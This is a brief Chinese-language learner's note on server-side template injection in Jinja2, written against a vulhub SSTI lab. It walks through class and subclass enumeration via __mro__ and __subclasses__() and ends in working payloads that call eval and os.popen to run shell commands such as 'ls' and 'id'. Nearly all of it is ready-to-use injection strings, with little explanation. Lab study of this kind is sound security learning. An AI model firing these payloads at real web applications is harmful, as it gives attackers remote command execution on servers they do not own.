注入大致流程
1. 检测漏洞,寻找注入点
2.查询基本类
3.查找子类
4.找到子类中可以读取文件或命令执行的模块
搭建的是vulhub的ssti靶场
查询注入点
查看基本类
?name={{''.__class__.__base__}}
?name={{''.__class__.__mro__}}
?name={{''.__class__.__mro__[0]}}
查看子类
查看所有子类
?name={{''.__class__.__base__.subclasses__()}}
?name={{''.__class__.__mro__[1].__subclasses__()}}
查看某一个子类
?name={{''.__class__.__base__.subclasses__()[166]}}
?name={{''.__class__.__mro__[1].__subclasses__()[166]}}
查看166号子类的模板
?name={{''.__class__.__mro__[1].__subclasses__()[166].__init__.__globals__}}
?name={{''.__class__.__base__.__subclasses__()[166].__init__.__globals__}}
查看166号子类的模板中的函数
?name={{''.__class__.__base__.__subclasses__()[166].__init__.__globals__['__builtins__']}}
?name={{''.__class__.__mro__[1].__subclasses__()[166].__init__.__globals__['__builtins__']}}
利用函数构造payload
?name={{''.__class__.__base__.__subclasses__()[166].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
理解不一定对
常见的payload
?name={{''.__class__.__base__.__subclasses__()[166].__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
?name={{''.__class__.__base__.__subclasses__()[166].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()}}
后面还需要熟练掌握各种绕过方法